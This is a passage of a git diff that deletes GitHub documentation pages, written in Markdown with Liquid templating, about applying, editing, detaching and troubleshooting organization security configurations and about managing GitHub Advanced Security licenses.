security features throughout your organization with {% data variables.product.prodname_security_configurations %}, which control repository-level security features, and {% data variables.product.prodname_global_settings %}, which control security features at the organization level. We recommend applying {% data variables.product.prodname_security_configurations %} _and_ customizing your {% data variables.product.prodname_global_settings %} to create a system that best meets the security needs of your organization. - -## About {% data variables.product.prodname_security_configurations %} - -{% data reusables.security-configurations.define-security-configurations %} - -{% ifversion security-configurations-cloud %} - -There are two types of {% data variables.product.prodname_security_configuration %}: - -* **The {% data variables.product.prodname_github_security_configuration %}**. This configuration is a collection of enablement settings created and managed by subject matter experts at {% data variables.product.company_short %}. The {% data variables.product.prodname_github_security_configuration %} is designed to adequately secure any repository, and can easily be applied to all repositories in your organization. -* **{% data variables.product.prodname_custom_security_configurations_caps %}**. These are configurations you can create and edit yourself, allowing you to choose different enablement settings for groups of repositories with specific security needs. - -{% endif %} - -{% ifversion security-configurations-ghes-only %} - -You can customize {% data variables.product.prodname_security_configurations %}, allowing you to choose different enablement settings for groups of repositories with specific security needs. - -You will only ever see enablement settings for features that have been installed on your {% data variables.product.prodname_ghe_server %} instance by an enterprise administrator. - -{% endif %} - -{% data reusables.code-scanning.custom-security-configuration-enforcement-edge-cases %} - -Each repository can only have one {% data variables.product.prodname_security_configuration %} applied to it. {% ifversion security-configurations-cloud %}To find out how you should get started with {% data variables.product.prodname_security_configurations %}, see [AUTOTITLE](/code-security/securing-your-organization/introduction-to-securing-your-organization-at-scale/choosing-a-security-configuration-for-your-repositories).{% endif %} - -{% ifversion security-configurations-api %} -You can also create and manage security configurations using the REST API. For more information, see [AUTOTITLE](/rest/code-security/configurations). -{% endif %} - -## About {% data variables.product.prodname_global_settings %} - -While {% data variables.product.prodname_security_configurations %} determine repository-level security settings, {% data variables.product.prodname_global_settings %} determine your organization-level security settings, which are then inherited by all repositories. With {% data variables.product.prodname_global_settings %}, you can customize how security features analyze your organization{% ifversion ghes < 3.16 %}, as well as grant a team permission to manage security alerts and settings across your organization{% endif %}. - -{% ifversion org-private-registry %} - -## About enabling secure access to private registries - -If your organization uses private registries, providing {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_dependabot %} secure access to these registries will improve code analysis and allow {% data variables.product.prodname_dependabot %} to update a wider range of dependencies. For information, see [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/giving-org-access-private-registries). - -{% endif %} - -## Next steps - -{% ifversion security-configurations-cloud %} - -To determine which {% data variables.product.prodname_security_configurations %} are right for the repositories in your organization, see [AUTOTITLE](/code-security/securing-your-organization/introduction-to-securing-your-organization-at-scale/choosing-a-security-configuration-for-your-repositories). - -{% elsif security-configurations-ghes-only %} - -To get started with creating a {% data variables.product.prodname_security_configuration %} for your organization, see [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/creating-a-custom-security-configuration). - -{% endif %} diff --git a/content/code-security/securing-your-organization/introduction-to-securing-your-organization-at-scale/choosing-a-security-configuration-for-your-repositories.md b/content/code-security/securing-your-organization/introduction-to-securing-your-organization-at-scale/choosing-a-security-configuration-for-your-repositories.md deleted file mode 100644 index 29552f1b4c8f..000000000000 --- a/content/code-security/securing-your-organization/introduction-to-securing-your-organization-at-scale/choosing-a-security-configuration-for-your-repositories.md +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: Choosing a security configuration for your repositories -shortTitle: Choose security configuration -intro: 'Find out which type of {% data variables.product.prodname_security_configuration %} will meet the security needs of the repositories in your organization.' -permissions: '{% data reusables.permissions.security-org-enable %}' -versions: - feature: security-configurations-cloud -topics: - - Code Security - - Secret Protection - - Organizations - - Security ---- - -## About choosing a {% data variables.product.prodname_security_configuration %} - -{% data reusables.security-configurations.define-security-configurations %} {% data variables.product.company_short %} offers two types of {% data variables.product.prodname_security_configurations %}: - -* The {% data variables.product.prodname_github_security_configuration %} -* {% data variables.product.prodname_custom_security_configurations_caps %} - -_We recommend that organizations initially apply the {% data variables.product.prodname_github_security_configuration %}_. After you have applied the {% data variables.product.prodname_github_security_configuration %} to repositories in your organization, you can evaluate the security findings for each repository and determine if you instead want to create and apply a {% data variables.product.prodname_custom_security_configuration %}. - -Currently, only one {% data variables.product.prodname_security_configuration %} can be applied to a repository at a time. - -## Choosing the {% data variables.product.prodname_github_security_configuration %} - -The {% data variables.product.prodname_github_security_configuration %} offers a number of benefits: - -* It is created and managed by {% data variables.product.company_short %}'s subject matter experts. -* It is the quickest {% data variables.product.prodname_security_configuration %} to apply to all repositories in your organization. -* It is designed to effectively secure both low- and high-impact repositories. - -To start securing repositories in your organization with the {% data variables.product.prodname_github_security_configuration %}, see [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/applying-the-github-recommended-security-configuration-in-your-organization). - -## Choosing a {% data variables.product.prodname_custom_security_configuration %} - -If you are familiar with {% data variables.product.company_short %}'s security products, and you have specific security needs that the {% data variables.product.prodname_github_security_configuration %} can't meet, you can create and apply {% data variables.product.prodname_custom_security_configurations %}. With {% data variables.product.prodname_custom_security_configurations %}, you can: - -* Edit the enablement settings for different security features -* Create several configurations for repositories with different security needs -* Manage your {% data variables.product.prodname_GH_advanced_security %} licensing by including or excluding {% data variables.product.prodname_GH_advanced_security %} features for a particular configuration - -To start securing repositories in your organization with {% data variables.product.prodname_custom_security_configurations %}, see [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/creating-a-custom-security-configuration). diff --git a/content/code-security/securing-your-organization/introduction-to-securing-your-organization-at-scale/index.md b/content/code-security/securing-your-organization/introduction-to-securing-your-organization-at-scale/index.md deleted file mode 100644 index 6e3cede7ec92..000000000000 --- a/content/code-security/securing-your-organization/introduction-to-securing-your-organization-at-scale/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Introduction to securing your organization at scale -shortTitle: Introduction -intro: 'Learn about securing your organization with {% data variables.product.prodname_security_configurations %} and {% data variables.product.prodname_global_settings %}.' -versions: - feature: security-configurations -topics: - - Code Security - - Secret Protection - - Organizations - - Security -children: - - /about-enabling-security-features-at-scale - - /choosing-a-security-configuration-for-your-repositories ---- diff --git a/content/code-security/securing-your-organization/managing-the-security-of-your-organization/deleting-a-custom-security-configuration.md b/content/code-security/securing-your-organization/managing-the-security-of-your-organization/deleting-a-custom-security-configuration.md deleted file mode 100644 index 66f027efa54f..000000000000 --- a/content/code-security/securing-your-organization/managing-the-security-of-your-organization/deleting-a-custom-security-configuration.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Deleting a custom security configuration -shortTitle: Delete custom configuration -intro: 'You can delete unnecessary {% data variables.product.prodname_custom_security_configurations %} in your organization.' -permissions: '{% data reusables.permissions.security-org-enable %}' -versions: - feature: security-configurations -topics: - - Code Security - - Secret Protection - - Organizations - - Security ---- - -## About deleting a {% data variables.product.prodname_custom_security_configuration %} - -If you no longer need a {% data variables.product.prodname_custom_security_configuration %}, you can delete that configuration to ensure it will not be applied to any repositories in the future. If you are deleting a {% data variables.product.prodname_custom_security_configuration %} because you want to change the security enablement settings in that configuration, you can instead edit the configuration. For more information, see [AUTOTITLE](/code-security/securing-your-organization/managing-the-security-of-your-organization/editing-a-custom-security-configuration). - -> [!WARNING] -> Deleting a {% data variables.product.prodname_custom_security_configuration %} will detach all repositories that are linked to that configuration. The existing security settings for those repositories will be unchanged, but you must apply a different {% data variables.product.prodname_security_configuration %} or manage their security settings at the repository level to keep their settings up to date. - -## Deleting a {% data variables.product.prodname_custom_security_configuration %} from your organization - -{% data reusables.profile.access_org %} -{% data reusables.organizations.org_settings %} -{% data reusables.security-configurations.view-configurations-page %} -1. In the configurations table, click the name of the {% data variables.product.prodname_custom_security_configuration %} you want to delete. -1. Scroll to the bottom of the "Security settings" section, then click **Delete configuration**. -1. In the "Delete this configuration?" window, read the warning to confirm you are comfortable deleting the {% data variables.product.prodname_custom_security_configuration %}, then click **Delete configuration**. diff --git a/content/code-security/securing-your-organization/managing-the-security-of-your-organization/detaching-repositories-from-their-security-configurations.md b/content/code-security/securing-your-organization/managing-the-security-of-your-organization/detaching-repositories-from-their-security-configurations.md deleted file mode 100644 index 490f3a341741..000000000000 --- a/content/code-security/securing-your-organization/managing-the-security-of-your-organization/detaching-repositories-from-their-security-configurations.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Detaching repositories from their security configurations -shortTitle: Detach security configuration -intro: 'You can unlink repositories from their {% data variables.product.prodname_security_configurations %} and instead manage their security enablement settings at the repository level.' -permissions: '{% data reusables.permissions.security-org-enable %}' -versions: - feature: security-configurations -topics: - - Code Security - - Secret Protection - - Organizations - - Security ---- - -## About detaching repositories from their {% data variables.product.prodname_security_configurations %} - -If you decide that the security needs of a repository are too specific for a {% data variables.product.prodname_security_configuration %} to be useful, you can detach that repository from the linked configuration and instead manage security enablement settings at the repository level. Detaching a repository from a {% data variables.product.prodname_security_configuration %} will not change the existing security enablement settings for that repository. For an introduction to securing your repository at the repository level, see [AUTOTITLE](/code-security/getting-started/securing-your-repository). - -Alternatively, if you want to apply a {% data variables.product.prodname_security_configuration %} to a repository that's already attached to a different configuration, you can apply the configuration as normal, and you do not need to detach the current configuration. For more information, see {% ifversion security-configurations-cloud %}[AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/applying-the-github-recommended-security-configuration-in-your-organization) and {% endif %}[AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/applying-a-custom-security-configuration). - -## Detaching repositories from linked {% data variables.product.prodname_security_configurations %} - -{% data reusables.profile.access_org %} -{% data reusables.organizations.org_settings %} -{% data reusables.security-configurations.view-configurations-page %} -1. Optionally, in the "Apply configurations" section, filter for specific repositories you would like to detach from their configurations. To learn more, see [AUTOTITLE](/code-security/securing-your-organization/managing-the-security-of-your-organization/filtering-repositories-in-your-organization-using-the-repository-table). -1. In the repository table, select repositories with one of three methods: - * Select each individual repository you would like to detach. - * To select all repositories displayed on the current page of the repository table, select **NUMBER repositories**. - * After selecting **NUMBER repositories**, to select _all_ repositories in your organization that match any filters you have applied, click **Select all**. -1. Select the **Apply configuration** {% octicon "triangle-down" aria-hidden="true" %} dropdown menu, then click **No configuration**. -1. To finish detaching your repositories from their linked {% data variables.product.prodname_security_configurations %}, in the "No configuration?" window, click **No configuration**. diff --git a/content/code-security/securing-your-organization/managing-the-security-of-your-organization/editing-a-custom-security-configuration.md b/content/code-security/securing-your-organization/managing-the-security-of-your-organization/editing-a-custom-security-configuration.md deleted file mode 100644 index eaca8f835a6e..000000000000 --- a/content/code-security/securing-your-organization/managing-the-security-of-your-organization/editing-a-custom-security-configuration.md +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Editing a custom security configuration -shortTitle: Edit custom configuration -intro: 'Change the enablement settings in your {% data variables.product.prodname_custom_security_configuration %} to better meet the security needs of your repositories.' -permissions: '{% data reusables.permissions.security-org-enable %}' -versions: - feature: security-configurations -topics: - - Code Security - - Secret Protection - - Organizations - - Security ---- - -## About editing a {% data variables.product.prodname_custom_security_configuration %} - -After creating and applying a {% data variables.product.prodname_custom_security_configuration %}, you may need to edit the enablement settings for that configuration to better secure your repositories. Any changes you make to the enablement settings of a {% data variables.product.prodname_security_configuration %} will automatically populate to all linked repositories. - -To determine if your {% data variables.product.prodname_custom_security_configuration %} is meeting your security needs, see [AUTOTITLE](/code-security/securing-your-organization/managing-the-security-of-your-organization/interpreting-security-findings). - -{% ifversion security-configurations-cloud %} - -> [!NOTE] -> The {% data variables.product.prodname_github_security_configuration %} is managed by {% data variables.product.company_short %} and cannot be edited. If you would like to customize your security enablement settings, you need to create a {% data variables.product.prodname_custom_security_configuration %}. For more information, see [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/creating-a-custom-security-configuration). - -{% endif %} - -## Modifying your {% data variables.product.prodname_custom_security_configuration %} - -{% data reusables.profile.access_org %} -{% data reusables.organizations.org_settings %} -{% data reusables.security-configurations.view-configurations-page %} -1. In the "Code {% data variables.product.prodname_security_configurations %}" section, click the name of the {% data variables.product.prodname_custom_security_configuration %} you want to edit. - - {% data reusables.security-configurations.default-configuration-exception-repo-transfers %} - -1. Edit the name and description of your {% data variables.product.prodname_custom_security_configuration %} as desired. -1. In the "Security settings" section, edit the enablement settings of your {% data variables.product.prodname_custom_security_configuration %} as desired. -1. In the "Policy" section, you can modify the configuration's enforcement status. Enforcing a configuration will block repository owners from changing features that are enabled or disabled by the configuration, but features that are not set aren't enforced. Next to "Enforce configuration", select **Enforce** or **Don't enforce** from the dropdown menu. - - {% data reusables.code-scanning.custom-security-configuration-enforcement-edge-cases %} - -1. To apply your changes, click **Update configuration**. diff --git a/content/code-security/securing-your-organization/managing-the-security-of-your-organization/filtering-repositories-in-your-organization-using-the-repository-table.md b/content/code-security/securing-your-organization/managing-the-security-of-your-organization/filtering-repositories-in-your-organization-using-the-repository-table.md deleted file mode 100644 index 3d74447378a8..000000000000 --- a/content/code-security/securing-your-organization/managing-the-security-of-your-organization/filtering-repositories-in-your-organization-using-the-repository-table.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Filtering repositories in your organization using the repository table -shortTitle: Filter repositories -intro: 'You can filter the repository table for your organization to better manage the security settings of specific repositories.' -permissions: '{% data reusables.permissions.security-org-enable %}' -versions: - feature: security-configurations -topics: - - Code Security - - Secret Protection - - Organizations - - Security ---- - -## About filtering repositories in your organization - -By default, when managing {% data variables.product.prodname_security_configurations %} for repositories in your organization, the repository table displays all repositories in your organization. You can filter the repository table to help you apply and detach {% data variables.product.prodname_security_configurations %}, as well as manage {% data variables.product.prodname_GH_advanced_security %} license usage in your organization. - -## Filtering the repository table with the search bar - -{% data reusables.profile.access_org %} -{% data reusables.organizations.org_settings %} -{% data reusables.security-configurations.view-configurations-page %} -1. In the "Apply configurations" section, use the **Search repositories** search bar to filter repositories in your organization in one of two ways: - * Find repositories by name with free-text search - * Select filters from the dropdown menu that appears once you click the search bar - -## Filtering the repository table with the advanced filter builder - -{% data reusables.profile.access_org %} -{% data reusables.organizations.org_settings %} -{% data reusables.security-configurations.view-configurations-page %} -1. To open the advanced filter dialog, in the "Apply configurations" section, click **{% octicon "filter" aria-hidden="true" %} Filter**. -1. In the "Advanced filters" window, select the **{% octicon "plus" aria-hidden="true" %} Add a filter** dropdown menu, then click a filter. -1. To search for repositories matching the selected filter, fill out the available fields for that filter, then click **Apply**. You can repeat this process to add as many filters as you would like to your search. -1. Optionally, to remove a filter from your search, click **{% octicon "filter" aria-hidden="true" %} Filter**. In the row of the filter you want to remove, click {% octicon "x" aria-label="Delete FILTER-NUMBER: FILTER-PROPERTIES" %}, then click **Apply**. diff --git a/content/code-security/securing-your-organization/managing-the-security-of-your-organization/finding-repositories-with-attachment-failures.md b/content/code-security/securing-your-organization/managing-the-security-of-your-organization/finding-repositories-with-attachment-failures.md deleted file mode 100644 index fdacbd728552..000000000000 --- a/content/code-security/securing-your-organization/managing-the-security-of-your-organization/finding-repositories-with-attachment-failures.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Finding and fixing configuration attachment failures -shortTitle: Find attachment failures -allowTitleToDifferFromFilename: true -intro: 'You can identify any repositories where the security configuration could not be attached, and follow guidance to remediate the problem.' -permissions: '{% data reusables.permissions.security-org-enable %}' -versions: - feature: security-configurations -topics: - - Code Security - - Secret Protection - - Organizations - - Security ---- - -## Finding and remediating attachment failures - -When you apply a configuration to a group of repositories, you may see a banner reporting that there was an attachment failure for some repositories. This happens when there is a conflict between the existing repository settings and the configuration that you applied. - -When an attachment failure happens: -* Only some of the settings in the security configuration are applied to affected repositories. -* Any changes you later make to the security configuration will not be inherited by the affected repositories. - -On the security configuration settings page, under "Apply configurations", you will see a banner advising how many repositories in your organization have an attachment failure, and an overview of the reason(s) for the failure. - -Click the link in the banner display, or alternatively, filter the list of repositories by `config-status:failed`, to see the list of affected repositories and to source additional guidance on how to remediate the attachment failure for a specific repository. - -{% data reusables.profile.access_org %} -{% data reusables.organizations.org_settings %} -{% data reusables.security-configurations.view-configurations-page %} -1. In the "Apply configurations" section, filter by `config-status:failed`. -1. From the results list, for the repository you're interested in, click **{% octicon "alert" aria-hidden="true" %} Failed REASON**. -1. In the dialog box, review the information and follow the remediation guidance. - -## Further reading - -* [AUTOTITLE](/code-security/securing-your-organization/troubleshooting-security-configurations/a-repository-is-using-advanced-setup-for-code-scanning) -* [AUTOTITLE](/code-security/securing-your-organization/troubleshooting-security-configurations/not-enough-github-advanced-security-licenses) diff --git a/content/code-security/securing-your-organization/managing-the-security-of-your-organization/index.md b/content/code-security/securing-your-organization/managing-the-security-of-your-organization/index.md deleted file mode 100644 index 6b3f51f5dc72..000000000000 --- a/content/code-security/securing-your-organization/managing-the-security-of-your-organization/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Managing the security of your organization -shortTitle: Manage organization security -intro: 'You can interpret security findings and manage your security enablement settings to better secure your organization.' -versions: - feature: security-configurations -topics: - - Code Security - - Secret Protection - - Organizations - - Security -children: - - /interpreting-security-findings - - /filtering-repositories-in-your-organization-using-the-repository-table - - /editing-a-custom-security-configuration - - /managing-your-github-advanced-security-license-usage - - /detaching-repositories-from-their-security-configurations - - /finding-repositories-with-attachment-failures - - /deleting-a-custom-security-configuration ---- diff --git a/content/code-security/securing-your-organization/managing-the-security-of-your-organization/interpreting-security-findings.md b/content/code-security/securing-your-organization/managing-the-security-of-your-organization/interpreting-security-findings.md deleted file mode 100644 index 89ac4808d8b3..000000000000 --- a/content/code-security/securing-your-organization/managing-the-security-of-your-organization/interpreting-security-findings.md +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: Interpreting security findings -shortTitle: Interpret security data -intro: 'You can analyze security data on repositories in your organization to determine if you need to make changes to your security setup.' -permissions: '{% data reusables.permissions.security-org-enable %}' -versions: - feature: security-configurations -topics: - - Code Security - - Secret Protection - - Organizations - - Security -redirect_from: - - /code-security/securing-your-organization/managing-the-security-of-your-organization/interpreting-security-findings-on-a-repository ---- - -## About security findings - -After you apply a {% data variables.product.prodname_security_configuration %} to a repository, the enabled security features will likely raise security findings on that repository. These findings may show up as feature-specific alerts, or as automatically generated pull requests designed to keep your repositories secure. You can analyze the findings across the organization and make any necessary adjustments to your {% data variables.product.prodname_security_configuration %}. - -To best secure your organization, you should encourage contributors to review and resolve security alerts and pull requests. {% ifversion security-campaigns %}In addition, you can collaborate with contributors to fix historical security alerts, see [AUTOTITLE](/code-security/securing-your-organization/fixing-security-alerts-at-scale/best-practice-fix-alerts-at-scale).{% endif %} - -{% ifversion ghec or ghes %} - -## Finding repositories with security alerts using security overview - -{% data reusables.security-overview.information-varies-GHAS %} -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.security-overview %} -1. By default, the overview shows alerts for all native {% data variables.product.github %} tools (filter: `tool:github`). To display alerts for a specific tool, replace `tool:github` in the filter text box. For example: - * `tool:dependabot` to show only alerts for dependencies identified by {% data variables.product.prodname_dependabot %}. - * `tool:secret-scanning` to only show alerts for secrets identified by {% data variables.product.prodname_secret_scanning %}. - * `tool:codeql` to show only alerts for potential security vulnerabilities identified by {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}. -1. You can add further filters to show only the repositories you want to assess. The list of repositories and metrics displayed on the page automatically update to match your current selection. For more information on filtering, see [AUTOTITLE](/code-security/security-overview/filtering-alerts-in-security-overview). - * Use the **Teams** dropdown to show information only for the repositories owned by one or more teams. - * Click **NUMBER affected** or **NUMBER unaffected** in the header for any feature to show only the repositories with open alerts or no open alerts of that type. - * Click any of the descriptions of "Open alerts" in the header to show only repositories with alerts of that type and category. For example, **1 critical** to show the repository with a critical alert for {% data variables.product.prodname_dependabot %}. - * At the top of the list of repositories, click **NUMBER Archived** to show only repositories that are archived. -{% data reusables.organizations.security-overview-feature-specific-page %} -{% endif %} - -## Interpreting {% data variables.product.prodname_secret_scanning %} alerts - -{% data reusables.security-configurations.secret-scanning-security-configs-summary %} {% ifversion fpt or ghec %}There are two types of {% data variables.product.prodname_secret_scanning %} alerts: - -* {% data variables.secret-scanning.partner_alerts_caps %}, which are sent to the provider who issued the secret -* {% data variables.secret-scanning.user_alerts_caps %}, which appear on {% data variables.product.github %} and can be resolved - -{% endif %} -You can view {% data variables.product.prodname_secret_scanning %} alerts for an organization by navigating to the main page of that organization, clicking the **{% octicon "shield" aria-hidden="true" %} Security** tab, then clicking **{% octicon "key" aria-hidden="true" %} {% data variables.product.prodname_secret_scanning_caps %}**. - -For an introduction to {% data variables.product.prodname_secret_scanning %} alerts, see [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning/about-alerts). - -To learn how to evaluate {% data variables.product.prodname_secret_scanning %} alerts, see [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning/evaluating-alerts). - -## Interpreting {% data variables.product.prodname_code_scanning %} alerts - -{% data reusables.code-scanning.about-code-scanning %} These problems are raised as {% data variables.product.prodname_code_scanning %} alerts, which contain detailed information on the vulnerability or error detected. - -You can view the {% data variables.product.prodname_code_scanning %} alerts for an organization by navigating to the main page of that organization, clicking the **{% octicon "shield" aria-hidden="true" %} Security** tab, then clicking **{% octicon "codescan" aria-hidden="true" %} {% data variables.product.prodname_code_scanning_caps %}**. - -For an introduction to {% data variables.product.prodname_code_scanning %} alerts, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/about-code-scanning-alerts). - -To learn how to interpret and resolve {% data variables.product.prodname_code_scanning %} alerts, see [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/assessing-code-scanning-alerts-for-your-repository) and [AUTOTITLE](/code-security/code-scanning/managing-code-scanning-alerts/resolving-code-scanning-alerts). - -## Interpreting {% data variables.product.prodname_dependabot_alerts %} - -{% data variables.product.prodname_dependabot_alerts %} inform you about vulnerabilities in the dependencies that you use in repositories in your organization. You can view {% data variables.product.prodname_dependabot_alerts %} for an organization by navigating to the main page of that organization, clicking the **{% octicon "shield" aria-hidden="true" %} Security** tab, then clicking **{% octicon "dependabot" aria-hidden="true" %} {% data variables.product.prodname_dependabot %}**. - -For an introduction to {% data variables.product.prodname_dependabot_alerts %}, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts). - -To learn how to interpret and resolve {% data variables.product.prodname_dependabot_alerts %}, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts). - -> [!NOTE] -> If you enabled {% data variables.product.prodname_dependabot_security_updates %}, {% data variables.product.prodname_dependabot %} can also automatically raise pull requests to update the dependencies used in the repositories of the organization. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates). - -## Next steps - -{% ifversion security-configurations-cloud %} - -If you are using the {% data variables.product.prodname_github_security_configuration %}, and your findings indicate the security enablement settings are not meeting your needs, you should create a {% data variables.product.prodname_custom_security_configuration %}. To get started, see [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/creating-a-custom-security-configuration). - -{% endif %} - -If {% ifversion security-configurations-cloud %}you are using a {% data variables.product.prodname_custom_security_configuration %}, and {% endif %}your findings indicate the security enablement settings are not meeting your needs, you can edit your existing configuration. For more information, see [AUTOTITLE](/code-security/securing-your-organization/managing-the-security-of-your-organization/editing-a-custom-security-configuration). - -Lastly, you can also edit your organization-level security settings with {% data variables.product.prodname_global_settings %}. To learn more, see [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/configuring-global-security-settings-for-your-organization). diff --git a/content/code-security/securing-your-organization/managing-the-security-of-your-organization/managing-your-github-advanced-security-license-usage.md b/content/code-security/securing-your-organization/managing-the-security-of-your-organization/managing-your-github-advanced-security-license-usage.md deleted file mode 100644 index be00ae32ecfe..000000000000 --- a/content/code-security/securing-your-organization/managing-the-security-of-your-organization/managing-your-github-advanced-security-license-usage.md +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: Managing your GitHub Advanced Security license usage -shortTitle: Manage GHAS licenses -intro: 'You can understand and control {% data variables.product.prodname_GH_advanced_security %} license usage for repositories in your organization.' -permissions: '{% data reusables.permissions.security-org-enable %}' -versions: - feature: security-configurations -topics: - - Code Security - - Secret Protection - - Organizations - - Security ---- - -## About {% data variables.product.prodname_GH_advanced_security %} billing and licenses - -{% ifversion fpt %} - -{% data reusables.advanced-security.ghas-license-info-for-fpt %} - -For information on managing your {% data variables.product.prodname_GH_advanced_security %} license usage, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/securing-your-organization/managing-the-security-of-your-organization/managing-your-github-advanced-security-license-usage). - -{% else %} - -To use {% data variables.product.prodname_GH_advanced_security %} (GHAS) features on private or internal repositories with unique active committers, you must have available GHAS licenses. With {% data variables.product.prodname_security_configurations %}, you can easily understand the GHAS license usage of repositories in your organization, as well as the number of available GHAS licenses in your enterprise. Additionally, if you need to make more GHAS licenses available to secure a high-impact repository, you can quickly disable GHAS features on private and internal repositories at scale. - -To learn about GHAS licenses, as well as unique and active committers, see [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security). - -## Understanding your {% data variables.product.prodname_GH_advanced_security %} license usage - -{% data reusables.profile.access_org %} -{% data reusables.organizations.org_settings %} -{% data reusables.security-configurations.view-configurations-page %} -1. In the "Apply configurations" section, your current license usage will be displayed as "NUMBER-USED out of NUMBER-PURCHASED available {% data variables.product.prodname_GH_advanced_security %} licenses in use by YOUR-ENTERPRISE." - - ![Screenshot of the "Apply configurations" section. The current GHAS license usage for the enterprise is outlined in dark orange.](/assets/images/help/security-configurations/current-ghas-license-usage.png) - -1. Optionally, to find specific repositories in your organization, filter the repository table. To learn more, see [AUTOTITLE](/code-security/securing-your-organization/managing-the-security-of-your-organization/filtering-repositories-in-your-organization-using-the-repository-table). -1. To quickly identify the number of GHAS licenses needed to enable GHAS features on a specific repository, in that repository's row of the repository table, read "NUMBER licenses required". -1. To view license usage for multiple repositories in your organization, select the repositories from the repository table. In the "Apply configurations" section, you will see the number of licenses required to apply GHAS features to the repositories, as well as the number of licenses made available if you disable GHAS features on those repositories. - - ![Screenshot of the "Apply configurations" section. The potential changes to GHAS license usage for the enterprise are outlined in dark orange.](/assets/images/help/security-configurations/ghas-licenses-used-or-freed.png) - -## Turning off {% data variables.product.prodname_GH_advanced_security %} features on select repositories in your organization - -{% data reusables.profile.access_org %} -{% data reusables.organizations.org_settings %} -{% data reusables.security-configurations.view-configurations-page %} -1. Optionally, in the "Apply configurations" section, filter for specific repositories on which you would like to disable GHAS. To learn more, see [AUTOTITLE](/code-security/securing-your-organization/managing-the-security-of-your-organization/filtering-repositories-in-your-organization-using-the-repository-table). -1. In the repository table, select repositories with one of three methods: - * Select each individual repository you would like to disable GHAS features on. - * To select all repositories displayed on the current page of the repository table, select **NUMBER repositories**. - * After selecting **NUMBER repositories**, to select _all_ repositories in your organization that match any filters you have applied, click **Select all**. - - Once you have selected the desired repositories, in the "Apply configurations" section, you can see how many GHAS licenses will become available when you disable GHAS features on those repositories. For more information, see [Understanding your {% data variables.product.prodname_GH_advanced_security %} license usage](#understanding-your-github-advanced-security-license-usage). -1. Select the **Apply configuration** {% octicon "triangle-down" aria-hidden="true" %} dropdown menu, then click **Disable {% data variables.product.prodname_GH_advanced_security %}**. -1. To finish disabling GHAS features on the selected private or internal repositories, in the "Disable {% data variables.product.prodname_GH_advanced_security %}?" window, click **Disable {% data variables.product.prodname_GH_advanced_security %}**. - - >[!NOTE] - {%- ifversion security-configurations-cloud %} - > * Disabling GHAS features for a private or internal repository will also detach that repository from any linked {% data variables.product.prodname_security_configuration %}. - > * On {% data variables.product.prodname_dotcom_the_website %}, disabling GHAS features through the repository table _will not_ disable those features on public repositories since they do not require {% data variables.product.prodname_GH_advanced_security %} licenses.{% elsif security-configurations-ghes-only %} - > * Disabling GHAS features for a repository will also detach that repository from any linked {% data variables.product.prodname_security_configuration %}. - {% endif %} - -{% endif %} diff --git a/content/code-security/securing-your-organization/troubleshooting-security-configurations/a-repository-is-using-advanced-setup-for-code-scanning.md b/content/code-security/securing-your-organization/troubleshooting-security-configurations/a-repository-is-using-advanced-setup-for-code-scanning.md deleted file mode 100644 index 25bbf26675e8..000000000000 --- a/content/code-security/securing-your-organization/troubleshooting-security-configurations/a-repository-is-using-advanced-setup-for-code-scanning.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: A repository is using advanced setup for code scanning -shortTitle: Active advanced setup -intro: 'You cannot attach a {% data variables.product.prodname_security_configuration %} with code scanning enabled to repositories that are using advanced setup for code scanning.' -permissions: '{% data reusables.permissions.security-org-enable %}' -versions: - feature: security-configurations -redirect_from: - - /code-security/securing-your-organization/troubleshooting-security-configurations/a-repository-has-an-existing-advanced-setup-for-code-scanning -topics: - - Code Security - - Organizations - - Security ---- - -## About the problem - -You cannot successfully apply a {% data variables.product.prodname_security_configuration %} with {% data variables.product.prodname_code_scanning %} default setup enabled to a target repository that uses advanced setup for {% data variables.product.prodname_code_scanning %}. Advanced setups are tailored to the specific security needs of their repositories, so they are not intended to be overridden at scale. - -If you try to attach a {% data variables.product.prodname_security_configuration %} with {% data variables.product.prodname_code_scanning %} enabled to a repository already using advanced setup, security settings will be applied as follows: - -* **{% data variables.product.prodname_code_scanning_caps %} default setup will not be enabled**, and advanced setup will continue to run as normal. -* **All other security features enabled in the configuration will be enabled.** -* **The {% data variables.product.prodname_security_configuration %} will not be attached** to the repository, since only some features from the configuration are enabled. - -For all repositories without an active advanced setup, the {% data variables.product.prodname_security_configuration %} will be applied as expected, and {% data variables.product.prodname_code_scanning %} default setup will be enabled. - -> [!NOTE] -> If advanced setup is considered inactive for a repository, default setup _will_ still be enabled for that repository. Advanced setup is considered inactive for a repository if the repository meets any of the following criteria: -> * The latest {% data 